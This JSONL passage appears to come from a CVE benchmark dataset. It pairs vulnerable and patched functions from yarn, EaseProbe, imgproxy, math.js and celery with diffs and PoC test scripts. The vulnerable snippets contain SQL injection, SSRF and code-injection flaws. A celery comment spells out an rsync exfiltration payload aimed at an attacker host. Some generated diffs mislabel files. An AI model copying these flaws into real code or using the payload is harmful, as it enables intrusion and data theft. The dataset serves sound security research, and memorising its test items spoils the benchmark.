behaviour\n    const name = info.name.replace(/^@[^\\/]+\\//, '');\n    info.bin = {[name]: info.bin};\n  }\n\n  // Validate that the bin entries reference only files within their package, and that\n  // their name is a valid file name\n  if (typeof info.bin === 'object' && info.bin !== null) {\n    const bin: Object = info.bin;\n    for (const key of Object.keys(bin)) {\n      const target = bin[key];\n      if (!VALID_BIN_KEYS.test(key) || !isValidBin(target)) {\n        delete bin[key];\n        warn(reporter.lang('invalidBinEntry', info.name, key));\n      } else {\n        bin[key] = path.normalize(target);\n      }\n    }\n  } else if (typeof info.bin !== 'undefined') {\n    delete info.bin;\n    warn(reporter.lang('invalidBinField', info.name));\n  }\n\n  // bundleDependencies is an alias for bundledDependencies\n  if (info.bundledDependencies) {\n    info.bundleDependencies = info.bundledDependencies;\n    delete info.bundledDependencies;\n  }\n\n  let scripts: Object;\n\n  // dummy script object to shove file inferred scripts onto\n  if (info.scripts && typeof info.scripts === 'object') {\n    scripts = info.scripts;\n  } else {\n    scripts = {};\n  }\n\n  // if there's a server.js file and no start script then set it to `node server.js`\n  if (!scripts.start && files.indexOf('server.js') >= 0) {\n    scripts.start = 'node server.js';\n  }\n\n  // if there's a binding.gyp file and no install script then set it to `node-gyp rebuild`\n  if (!scripts.install && files.indexOf('binding.gyp') >= 0) {\n    scripts.install = 'node-gyp rebuild';\n  }\n\n  // set scripts if we've polluted the empty object\n  if (Object.keys(scripts).length) {\n    info.scripts = scripts;\n  }\n\n  const dirs = info.directories;\n\n  if (dirs && typeof dirs === 'object') {\n    const binDir = dirs.bin;\n\n    if (!info.bin && binDir && typeof binDir === 'string') {\n      const bin = (info.bin = {});\n      const fullBinDir = path.join(moduleLoc, binDir);\n\n      if (await fs.exists(fullBinDir)) {\n        for (const scriptName of await fs.readdir(fullBinDir)) {\n          if (scriptName[0] === '.') {\n            continue;\n          }\n          bin[scriptName] = path.join('.', binDir, scriptName);\n        }\n      } else {\n        warn(reporter.lang('manifestDirectoryNotFound', binDir, info.name));\n      }\n    }\n\n    const manDir = dirs.man;\n\n    if (!info.man && typeof manDir === 'string') {\n      const man = (info.man = []);\n      const fullManDir = path.join(moduleLoc, manDir);\n\n      if (await fs.exists(fullManDir)) {\n        for (const filename of await fs.readdir(fullManDir)) {\n          if (/^(.*?)\\.[0-9]$/.test(filename)) {\n            man.push(path.join('.', manDir, filename));\n          }\n        }\n      } else {\n        warn(reporter.lang('manifestDirectoryNotFound', manDir, info.name));\n      }\n    }\n  }\n\n  delete info.directories;\n\n  // normalize licenses field\n  const licenses = info.licenses;\n  if (Array.isArray(licenses) && !info.license) {\n    let licenseTypes = [];\n\n    for (let license of licenses) {\n      if (license && typeof license === 'object') {\n        license = license.type;\n      }\n      if (typeof license === 'string') {\n        licenseTypes.push(license);\n      }\n    }\n\n    licenseTypes = licenseTypes.filter(isValidLicense);\n\n    if (licenseTypes.length === 1) {\n      info.license = licenseTypes[0];\n    } else if (licenseTypes.length) {\n      info.license = `(${licenseTypes.join(' OR ')})`;\n    }\n  }\n\n  const license = info.license;\n\n  // normalize license\n  if (license && typeof license === 'object') {\n    info.license = license.type;\n  }\n\n  // get license file\n  const licenseFile = files.find((filename): boolean => {\n    const lower = filename.toLowerCase();\n    return (\n      lower === 'license' || lower.startsWith('license.') || lower === 'unlicense' || lower.startsWith('unlicense.')\n    );\n  });\n  if (licenseFile) {\n    const licenseFilepath = path.join(moduleLoc, licenseFile);\n    const licenseFileStats = await fs.stat(licenseFilepath);\n    if (licenseFileStats.isFile()) {\n      const licenseContent = await fs.readFile(licenseFilepath);\n      const inferredLicense = inferLicense(licenseContent);\n      info.licenseText = licenseContent;\n\n      const license = info.license;\n\n      if (typeof license === 'string') {\n        if (inferredLicense && isValidLicense(inferredLicense) && !isValidLicense(license)) {\n          // some packages don't specify their license version but we can infer it based on their license file\n          const basicLicense = license.toLowerCase().replace(/(-like|\\*)$/g, '');\n          const expandedLicense = inferredLicense.toLowerCase();\n          if (expandedLicense.startsWith(basicLicense)) {\n            // TODO consider doing something to notify the user\n            info.license = inferredLicense;\n          }\n        }\n      } else if (inferredLicense) {\n        // if there's no license then infer it based on the license file\n        info.license = inferredLicense;\n      } else {\n        // valid expression to refer to a license in a file\n        info.license = `SEE LICENSE IN ${licenseFile}`;\n      }\n    }\n  }\n\n  if (typeof info.license === 'string') {\n    // sometimes licenses are known by different names, reduce them\n    info.license = LICENSE_RENAMES[info.license] || info.license;\n  } else if (typeof info.readme === 'string') {\n    // the license might be at the bottom of the README\n    const inferredLicense = inferLicense(info.readme);\n    if (inferredLicense) {\n      info.license = inferredLicense;\n    }\n  }\n\n  // get notice file\n  const noticeFile = files.find((filename): boolean => {\n    const lower = filename.toLowerCase();\n    return lower === 'notice' || lower.startsWith('notice.');\n  });\n  if (noticeFile) {\n    const noticeFilepath = path.join(moduleLoc, noticeFile);\n    const noticeFileStats = await fs.stat(noticeFilepath);\n    if (noticeFileStats.isFile()) {\n      info.noticeText = await fs.readFile(noticeFilepath);\n    }\n  }\n\n  for (const dependencyType of MANIFEST_FIELDS) {\n    const dependencyList = info[dependencyType];\n    if (dependencyList && typeof dependencyList === 'object') {\n      delete dependencyList['//'];\n      for (const name in dependencyList) {\n        dependencyList[name] = dependencyList[name] || '';\n      }\n    }\n  }\n});"}, {"id": "fix_js_154_2", "commit": "039bafd", "file_path": "src/util/normalize-manifest/fix.js", "start_line": 15, "end_line": 15, "snippet": "const VALID_BIN_KEYS = /^[a-z0-9_-]+$/i;"}, {"id": "fix_js_154_3", "commit": "039bafd", "file_path": "src/util/normalize-manifest/util.js", "start_line": 8, "end_line": 8, "snippet": "const PARENT_PATH = /^\\.\\.([\\\\\\/]|$)/;"}, {"id": "fix_js_154_4", "commit": "039bafd", "file_path": "src/util/normalize-manifest/util.js", "start_line": 14, "end_line": 16, "snippet": "export function isValidBin(bin: string): boolean {\n  return !path.isAbsolute(bin) && !PARENT_PATH.test(path.normalize(bin));\n}"}], "vul_patch": "--- a/src/util/normalize-manifest/fix.js\n+++ b/src/util/normalize-manifest/fix.js\n@@ -132,6 +132,24 @@\n     // Remove scoped package name for consistency with NPM's bin field fixing behaviour\n     const name = info.name.replace(/^@[^\\/]+\\//, '');\n     info.bin = {[name]: info.bin};\n+  }\n+\n+  // Validate that the bin entries reference only files within their package, and that\n+  // their name is a valid file name\n+  if (typeof info.bin === 'object' && info.bin !== null) {\n+    const bin: Object = info.bin;\n+    for (const key of Object.keys(bin)) {\n+      const target = bin[key];\n+      if (!VALID_BIN_KEYS.test(key) || !isValidBin(target)) {\n+        delete bin[key];\n+        warn(reporter.lang('invalidBinEntry', info.name, key));\n+      } else {\n+        bin[key] = path.normalize(target);\n+      }\n+    }\n+  } else if (typeof info.bin !== 'undefined') {\n+    delete info.bin;\n+    warn(reporter.lang('invalidBinField', info.name));\n   }\n \n   // bundleDependencies is an alias for bundledDependencies\n\n--- /dev/null\n+++ b/src/util/normalize-manifest/fix.js\n@@ -0,0 +1 @@\n+const VALID_BIN_KEYS = /^[a-z0-9_-]+$/i;\n\n--- /dev/null\n+++ b/src/util/normalize-manifest/fix.js\n@@ -0,0 +1 @@\n+const PARENT_PATH = /^\\.\\.([\\\\\\/]|$)/;\n\n--- /dev/null\n+++ b/src/util/normalize-manifest/fix.js\n@@ -0,0 +1,3 @@\n+export function isValidBin(bin: string): boolean {\n+  return !path.isAbsolute(bin) && !PARENT_PATH.test(path.normalize(bin));\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-33967", "cve_description": "EaseProbe is a tool that can do health/status checking. An SQL injection issue was discovered in EaseProbe before 2.1.0 when using MySQL/PostgreSQL data checking. This problem has been fixed in v2.1.0.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/megaease/easeprobe", "patch_url": ["https://github.com/megaease/easeprobe/commit/caaf5860df2aaa76acd29bc40ec9a578d0b1d6e1"], "programing_language": "Go", "vul_func": [{"id": "vul_go_26_2", "commit": "0e148b8", "file_path": "probe/client/mysql/mysql.go", "start_line": 156, "end_line": 176, "snippet": "func (r *MySQL) getSQL(str string) (string, error) {\n\tif len(strings.TrimSpace(str)) == 0 {\n\t\treturn \"\", fmt.Errorf(\"Empty SQL data\")\n\t}\n\tfields := strings.Split(str, \":\")\n\tif len(fields) != 5 {\n\t\treturn \"\", fmt.Errorf(\"Invalid SQL data - [%s]. (syntax: database:table:field:key:value)\", str)\n\t}\n\tdb := fields[0]\n\ttable := fields[1]\n\tfield := fields[2]\n\tkey := fields[3]\n\tvalue := fields[4]\n\t//check value is int or not\n\tif _, err := strconv.Atoi(value); err != nil {\n\t\treturn \"\", fmt.Errorf(\"Invalid SQL data - [%s], the value must be int\", str)\n\t}\n\n\tsql := fmt.Sprintf(\"SELECT %s FROM %s.%s WHERE %s = %s\", field, db, table, key, value)\n\treturn sql, nil\n}"}], "fix_func": [{"id": "fix_go_26_1", "commit": "caaf586", "file_path": "probe/client/mysql/mysql.go", "start_line": 171, "end_line": 191, "snippet": "func (r *MySQL) getSQL(str string) (string, error) {\n\tif len(strings.TrimSpace(str)) == 0 {\n\t\treturn \"\", fmt.Errorf(\"Empty SQL data\")\n\t}\n\tfields := strings.Split(str, \":\")\n\tif len(fields) != 5 {\n\t\treturn \"\", fmt.Errorf(\"Invalid SQL data - [%s]. (syntax: database:table:field:key:value)\", str)\n\t}\n\tdb := global.EscapeQuote(fields[0])\n\ttable := global.EscapeQuote(fields[1])\n\tfield := global.EscapeQuote(fields[2])\n\tkey := global.EscapeQuote(fields[3])\n\tvalue := global.EscapeQuote(fields[4])\n\t//check value is int or not\n\tif _, err := strconv.Atoi(value); err != nil {\n\t\treturn \"\", fmt.Errorf(\"Invalid SQL data - [%s], the value must be int\", str)\n\t}\n\n\tsql := fmt.Sprintf(\"SELECT `%s` FROM `%s`.`%s` WHERE `%s` = %s\", field, db, table, key, value)\n\treturn sql, nil\n}"}, {"id": "fix_go_26_2", "commit": "caaf586", "file_path": "global/global.go", "start_line": 314, "end_line": 332, "snippet": "\n// EscapeQuote escape the string the single quote, double quote, and backtick\nfunc EscapeQuote(str string) string {\n\ttype Escape struct {\n\t\tFrom string\n\t\tTo   string\n\t}\n\tescape := []Escape{\n\t\t{From: \"`\", To: \"\"}, // remove the backtick\n\t\t{From: `\\`, To: `\\\\`},\n\t\t{From: `'`, To: `\\'`},\n\t\t{From: `\"`, To: `\\\"`},\n\t}\n\n\tfor _, e := range escape {\n\t\tstr = strings.ReplaceAll(str, e.From, e.To)\n\t}\n\treturn str\n}"}], "vul_patch": "--- a/probe/client/mysql/mysql.go\n+++ b/global/global.go\n@@ -1,21 +1,19 @@\n-func (r *MySQL) getSQL(str string) (string, error) {\n-\tif len(strings.TrimSpace(str)) == 0 {\n-\t\treturn \"\", fmt.Errorf(\"Empty SQL data\")\n+\n+// EscapeQuote escape the string the single quote, double quote, and backtick\n+func EscapeQuote(str string) string {\n+\ttype Escape struct {\n+\t\tFrom string\n+\t\tTo   string\n \t}\n-\tfields := strings.Split(str, \":\")\n-\tif len(fields) != 5 {\n-\t\treturn \"\", fmt.Errorf(\"Invalid SQL data - [%s]. (syntax: database:table:field:key:value)\", str)\n-\t}\n-\tdb := fields[0]\n-\ttable := fields[1]\n-\tfield := fields[2]\n-\tkey := fields[3]\n-\tvalue := fields[4]\n-\t//check value is int or not\n-\tif _, err := strconv.Atoi(value); err != nil {\n-\t\treturn \"\", fmt.Errorf(\"Invalid SQL data - [%s], the value must be int\", str)\n+\tescape := []Escape{\n+\t\t{From: \"`\", To: \"\"}, // remove the backtick\n+\t\t{From: `\\`, To: `\\\\`},\n+\t\t{From: `'`, To: `\\'`},\n+\t\t{From: `\"`, To: `\\\"`},\n \t}\n \n-\tsql := fmt.Sprintf(\"SELECT %s FROM %s.%s WHERE %s = %s\", field, db, table, key, value)\n-\treturn sql, nil\n+\tfor _, e := range escape {\n+\t\tstr = strings.ReplaceAll(str, e.From, e.To)\n+\t}\n+\treturn str\n }\n\n--- /dev/null\n+++ b/global/global.go\n@@ -0,0 +1,21 @@\n+func (r *MySQL) getSQL(str string) (string, error) {\n+\tif len(strings.TrimSpace(str)) == 0 {\n+\t\treturn \"\", fmt.Errorf(\"Empty SQL data\")\n+\t}\n+\tfields := strings.Split(str, \":\")\n+\tif len(fields) != 5 {\n+\t\treturn \"\", fmt.Errorf(\"Invalid SQL data - [%s]. (syntax: database:table:field:key:value)\", str)\n+\t}\n+\tdb := global.EscapeQuote(fields[0])\n+\ttable := global.EscapeQuote(fields[1])\n+\tfield := global.EscapeQuote(fields[2])\n+\tkey := global.EscapeQuote(fields[3])\n+\tvalue := global.EscapeQuote(fields[4])\n+\t//check value is int or not\n+\tif _, err := strconv.Atoi(value); err != nil {\n+\t\treturn \"\", fmt.Errorf(\"Invalid SQL data - [%s], the value must be int\", str)\n+\t}\n+\n+\tsql := fmt.Sprintf(\"SELECT `%s` FROM `%s`.`%s` WHERE `%s` = %s\", field, db, table, key, value)\n+\treturn sql, nil\n+}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-33967:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/easeprobe\ngit apply --ignore-whitespace --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test   -timeout 30s -run ^TestGetSQL$ github.com/megaease/easeprobe/probe/client/mysql\n", "unit_test_cmd": null}
{"cve_id": "CVE-2025-24354", "cve_description": "imgproxy is server for resizing, processing, and converting images. Imgproxy does not block the 0.0.0.0 address, even with IMGPROXY_ALLOW_LOOPBACK_SOURCE_ADDRESSES set to false. This can expose services on the local host. This vulnerability is fixed in 3.27.2.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/imgproxy/imgproxy", "patch_url": ["https://github.com/imgproxy/imgproxy/commit/3d4fed6842aa8930ec224d0ad75b0079b858e081"], "programing_language": "Go", "vul_func": [{"id": "vul_go_95_1", "commit": "09e305c", "file_path": "security/source.go", "start_line": 33, "end_line": 57, "snippet": "func VerifySourceNetwork(addr string) error {\n\thost, _, err := net.SplitHostPort(addr)\n\tif err != nil {\n\t\thost = addr\n\t}\n\n\tip := net.ParseIP(host)\n\tif ip == nil {\n\t\treturn ErrInvalidSourceAddress\n\t}\n\n\tif !config.AllowLoopbackSourceAddresses && ip.IsLoopback() {\n\t\treturn ErrSourceAddressNotAllowed\n\t}\n\n\tif !config.AllowLinkLocalSourceAddresses && (ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast()) {\n\t\treturn ErrSourceAddressNotAllowed\n\t}\n\n\tif !config.AllowPrivateSourceAddresses && ip.IsPrivate() {\n\t\treturn ErrSourceAddressNotAllowed\n\t}\n\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_95_1", "commit": "3d4fed6", "file_path": "security/source.go", "start_line": 33, "end_line": 57, "snippet": "func VerifySourceNetwork(addr string) error {\n\thost, _, err := net.SplitHostPort(addr)\n\tif err != nil {\n\t\thost = addr\n\t}\n\n\tip := net.ParseIP(host)\n\tif ip == nil {\n\t\treturn ErrInvalidSourceAddress\n\t}\n\n\tif !config.AllowLoopbackSourceAddresses && (ip.IsLoopback() || ip.IsUnspecified()) {\n\t\treturn ErrSourceAddressNotAllowed\n\t}\n\n\tif !config.AllowLinkLocalSourceAddresses && (ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast()) {\n\t\treturn ErrSourceAddressNotAllowed\n\t}\n\n\tif !config.AllowPrivateSourceAddresses && ip.IsPrivate() {\n\t\treturn ErrSourceAddressNotAllowed\n\t}\n\n\treturn nil\n}"}], "vul_patch": "--- a/security/source.go\n+++ b/security/source.go\n@@ -9,7 +9,7 @@\n \t\treturn ErrInvalidSourceAddress\n \t}\n \n-\tif !config.AllowLoopbackSourceAddresses && ip.IsLoopback() {\n+\tif !config.AllowLoopbackSourceAddresses && (ip.IsLoopback() || ip.IsUnspecified()) {\n \t\treturn ErrSourceAddressNotAllowed\n \t}\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2017-1001002", "cve_description": "math.js before 3.17.0 had an arbitrary code execution in the JavaScript engine. Creating a typed function with JavaScript code in the name could result arbitrary execution.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/josdejong/mathjs", "patch_url": ["https://github.com/josdejong/mathjs/commit/8d2d48d81b3c233fb64eb2ec1d7a9e1cf6a55a90"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_102_1", "commit": "4a93787", "file_path": "lib/expression/parse.js", "start_line": 576, "end_line": 621, "snippet": "  function parseAssignment () {\n    var name, args, value, valid;\n\n    var node = parseConditional();\n\n    if (token == '=') {\n      if (type.isSymbolNode(node)) {\n        // parse a variable assignment like 'a = 2/3'\n        name = node.name;\n        getTokenSkipNewline();\n        value = parseAssignment();\n        return new AssignmentNode(new SymbolNode(name), value);\n      }\n      else if (type.isAccessorNode(node)) {\n        // parse a matrix subset assignment like 'A[1,2] = 4'\n        getTokenSkipNewline();\n        value = parseAssignment();\n        return new AssignmentNode(node.object, node.index, value);\n      }\n      else if (type.isFunctionNode(node)) {\n        // parse function assignment like 'f(x) = x^2'\n        valid = true;\n        args = [];\n\n        name = node.name;\n        node.args.forEach(function (arg, index) {\n          if (type.isSymbolNode(arg)) {\n            args[index] = arg.name;\n          }\n          else {\n            valid = false;\n          }\n        });\n\n        if (valid) {\n          getTokenSkipNewline();\n          value = parseAssignment();\n          return new FunctionAssignmentNode(name, args, value);\n        }\n      }\n\n      throw createSyntaxError('Invalid left hand side of assignment operator =');\n    }\n\n    return node;\n  }"}], "fix_func": [{"id": "fix_js_102_1", "commit": "8d2d48d", "file_path": "lib/expression/parse.js", "start_line": 576, "end_line": 621, "snippet": "  function parseAssignment () {\n    var name, args, value, valid;\n\n    var node = parseConditional();\n\n    if (token == '=') {\n      if (type.isSymbolNode(node)) {\n        // parse a variable assignment like 'a = 2/3'\n        name = node.name;\n        getTokenSkipNewline();\n        value = parseAssignment();\n        return new AssignmentNode(new SymbolNode(name), value);\n      }\n      else if (type.isAccessorNode(node)) {\n        // parse a matrix subset assignment like 'A[1,2] = 4'\n        getTokenSkipNewline();\n        value = parseAssignment();\n        return new AssignmentNode(node.object, node.index, value);\n      }\n      else if (type.isFunctionNode(node) && type.isSymbolNode(node.fn)) {\n        // parse function assignment like 'f(x) = x^2'\n        valid = true;\n        args = [];\n\n        name = node.name;\n        node.args.forEach(function (arg, index) {\n          if (type.isSymbolNode(arg)) {\n            args[index] = arg.name;\n          }\n          else {\n            valid = false;\n          }\n        });\n\n        if (valid) {\n          getTokenSkipNewline();\n          value = parseAssignment();\n          return new FunctionAssignmentNode(name, args, value);\n        }\n      }\n\n      throw createSyntaxError('Invalid left hand side of assignment operator =');\n    }\n\n    return node;\n  }"}], "vul_patch": "--- a/lib/expression/parse.js\n+++ b/lib/expression/parse.js\n@@ -17,7 +17,7 @@\n         value = parseAssignment();\n         return new AssignmentNode(node.object, node.index, value);\n       }\n-      else if (type.isFunctionNode(node)) {\n+      else if (type.isFunctionNode(node) && type.isSymbolNode(node.fn)) {\n         // parse function assignment like 'f(x) = x^2'\n         valid = true;\n         args = [];\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-23727", "cve_description": "This affects the package celery before 5.2.2. It by default trusts the messages and metadata stored in backends (result stores). When reading task metadata from the backend, the data is deserialized. Given that an attacker can gain access to, or somehow manipulate the metadata within a celery backend, they could trigger a stored command injection vulnerability and potentially gain further access to the system.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/celery/celery", "patch_url": ["https://github.com/celery/celery/commit/1f7ad7e6df1e02039b6ab9eec617d283598cad6b"], "programing_language": "Python", "vul_func": [{"id": "vul_py_41_1", "commit": "2d8dbc2", "file_path": "celery/backends/base.py", "start_line": 339, "end_line": 369, "snippet": "    def exception_to_python(self, exc):\n        \"\"\"Convert serialized exception to Python exception.\"\"\"\n        if exc:\n            if not isinstance(exc, BaseException):\n                exc_module = exc.get('exc_module')\n                if exc_module is None:\n                    cls = create_exception_cls(\n                        from_utf8(exc['exc_type']), __name__)\n                else:\n                    exc_module = from_utf8(exc_module)\n                    exc_type = from_utf8(exc['exc_type'])\n                    try:\n                        # Load module and find exception class in that\n                        cls = sys.modules[exc_module]\n                        # The type can contain qualified name with parent classes\n                        for name in exc_type.split('.'):\n                            cls = getattr(cls, name)\n                    except (KeyError, AttributeError):\n                        cls = create_exception_cls(exc_type,\n                                                   celery.exceptions.__name__)\n                exc_msg = exc['exc_message']\n                try:\n                    if isinstance(exc_msg, (tuple, list)):\n                        exc = cls(*exc_msg)\n                    else:\n                        exc = cls(exc_msg)\n                except Exception as err:  # noqa\n                    exc = Exception(f'{cls}({exc_msg})')\n            if self.serializer in EXCEPTION_ABLE_CODECS:\n                exc = get_pickled_exception(exc)\n        return exc"}], "fix_func": [{"id": "fix_py_41_1", "commit": "1f7ad7e", "file_path": "celery/backends/base.py", "start_line": 340, "end_line": 409, "snippet": "    def exception_to_python(self, exc):\n        \"\"\"Convert serialized exception to Python exception.\"\"\"\n        if not exc:\n            return None\n        elif isinstance(exc, BaseException):\n            if self.serializer in EXCEPTION_ABLE_CODECS:\n                exc = get_pickled_exception(exc)\n            return exc\n        elif not isinstance(exc, dict):\n            try:\n                exc = dict(exc)\n            except TypeError as e:\n                raise TypeError(f\"If the stored exception isn't an \"\n                                f\"instance of \"\n                                f\"BaseException, it must be a dictionary.\\n\"\n                                f\"Instead got: {exc}\") from e\n\n        exc_module = exc.get('exc_module')\n        try:\n            exc_type = exc['exc_type']\n        except KeyError as e:\n            raise ValueError(\"Exception information must include\"\n                             \"the exception type\") from e\n        if exc_module is None:\n            cls = create_exception_cls(\n                exc_type, __name__)\n        else:\n            try:\n                # Load module and find exception class in that\n                cls = sys.modules[exc_module]\n                # The type can contain qualified name with parent classes\n                for name in exc_type.split('.'):\n                    cls = getattr(cls, name)\n            except (KeyError, AttributeError):\n                cls = create_exception_cls(exc_type,\n                                           celery.exceptions.__name__)\n        exc_msg = exc.get('exc_message', '')\n\n        # If the recreated exception type isn't indeed an exception,\n        # this is a security issue. Without the condition below, an attacker\n        # could exploit a stored command vulnerability to execute arbitrary\n        # python code such as:\n        # os.system(\"rsync /data attacker@192.168.56.100:~/data\")\n        # The attacker sets the task's result to a failure in the result\n        # backend with the os as the module, the system function as the\n        # exception type and the payload\n        # rsync /data attacker@192.168.56.100:~/data\n        # as the exception arguments like so:\n        # {\n        #   \"exc_module\": \"os\",\n        #   \"exc_type\": \"system\",\n        #   \"exc_message\": \"rsync /data attacker@192.168.56.100:~/data\"\n        # }\n        if not isinstance(cls, type) or not issubclass(cls, BaseException):\n            fake_exc_type = exc_type if exc_module is None else f'{exc_module}.{exc_type}'\n            raise SecurityError(\n                f\"Expected an exception class, got {fake_exc_type} with payload {exc_msg}\")\n\n        # XXX: Without verifying `cls` is actually an exception class,\n        #      an attacker could execute arbitrary python code.\n        #      cls could be anything, even eval().\n        try:\n            if isinstance(exc_msg, (tuple, list)):\n                exc = cls(*exc_msg)\n            else:\n                exc = cls(exc_msg)\n        except Exception as err:  # noqa\n            exc = Exception(f'{cls}({exc_msg})')\n\n        return exc"}], "vul_patch": "--- a/celery/backends/base.py\n+++ b/celery/backends/base.py\n@@ -1,31 +1,70 @@\n     def exception_to_python(self, exc):\n         \"\"\"Convert serialized exception to Python exception.\"\"\"\n-        if exc:\n-            if not isinstance(exc, BaseException):\n-                exc_module = exc.get('exc_module')\n-                if exc_module is None:\n-                    cls = create_exception_cls(\n-                        from_utf8(exc['exc_type']), __name__)\n-                else:\n-                    exc_module = from_utf8(exc_module)\n-                    exc_type = from_utf8(exc['exc_type'])\n-                    try:\n-                        # Load module and find exception class in that\n-                        cls = sys.modules[exc_module]\n-                        # The type can contain qualified name with parent classes\n-                        for name in exc_type.split('.'):\n-                            cls = getattr(cls, name)\n-                    except (KeyError, AttributeError):\n-                        cls = create_exception_cls(exc_type,\n-                                                   celery.exceptions.__name__)\n-                exc_msg = exc['exc_message']\n-                try:\n-                    if isinstance(exc_msg, (tuple, list)):\n-                        exc = cls(*exc_msg)\n-                    else:\n-                        exc = cls(exc_msg)\n-                except Exception as err:  # noqa\n-                    exc = Exception(f'{cls}({exc_msg})')\n+        if not exc:\n+            return None\n+        elif isinstance(exc, BaseException):\n             if self.serializer in EXCEPTION_ABLE_CODECS:\n                 exc = get_pickled_exception(exc)\n+            return exc\n+        elif not isinstance(exc, dict):\n+            try:\n+                exc = dict(exc)\n+            except TypeError as e:\n+                raise TypeError(f\"If the stored exception isn't an \"\n+                                f\"instance of \"\n+                                f\"BaseException, it must be a dictionary.\\n\"\n+                                f\"Instead got: {exc}\") from e\n+\n+        exc_module = exc.get('exc_module')\n+        try:\n+            exc_type = exc['exc_type']\n+        except KeyError as e:\n+            raise ValueError(\"Exception information must include\"\n+                             \"the exception type\") from e\n+        if exc_module is None:\n+            cls = create_exception_cls(\n+                exc_type, __name__)\n+        else:\n+            try:\n+                # Load module and find exception class in that\n+                cls = sys.modules[exc_module]\n+                # The type can contain qualified name with parent classes\n+                for name in exc_type.split('.'):\n+                    cls = getattr(cls, name)\n+            except (KeyError, AttributeError):\n+                cls = create_exception_cls(exc_type,\n+                                           celery.exceptions.__name__)\n+        exc_msg = exc.get('exc_message', '')\n+\n+        # If the recreated exception type isn't indeed an exception,\n+        # this is a security issue. Without the condition below, an attacker\n+        # could exploit a stored command vulnerability to execute arbitrary\n+        # python code such as:\n+        # os.system(\"rsync /data attacker@192.168.56.100:~/data\")\n+        # The attacker sets the task's result to a failure in the result\n+        # backend with the os as the module, the system function as the\n+        # exception type and the payload\n+        # rsync /data attacker@192.168.56.100:~/data\n+        # as the exception arguments like so:\n+        # {\n+        #   \"exc_module\": \"os\",\n+        #   \"exc_type\": \"system\",\n+        #   \"exc_message\": \"rsync /data attacker@192.168.56.100:~/data\"\n+        # }\n+        if not isinstance(cls, type) or not issubclass(cls, BaseException):\n+            fake_exc_type = exc_type if exc_module is None else f'{exc_module}.{exc_type}'\n+            raise SecurityError(\n+                f\"Expected an exception class, got {fake_exc_type} with payload {exc_msg}\")\n+\n+        # XXX: Without verifying `cls` is actually an exception class,\n+        #      an attacker could execute arbitrary python code.\n+        #      cls could be anything, even eval().\n+        try:\n+            if isinstance(exc_msg, (tuple, list)):\n+                exc = cls(*exc_msg)\n+            else:\n+                exc = cls(exc_msg)\n+        except Exception as err:  # noqa\n+            exc = Exception(f'{cls}({exc_msg})')\n+\n         return exc\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-23727:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/celery\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2021-23727/bin/python -m pytest t/unit/backends/test_base.py::test_BaseBackend_dict::test_not_an_exception_but_a_callable t/unit/backends/test_base.py::test_BaseBackend_dict::test_not_an_exception_but_another_object -p no:warning --disable-warnings\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-23727:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/celery\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2021-23727/bin/python -m pytest t/unit/backends/test_base.py -p no:warning --disable-warnings\n"}
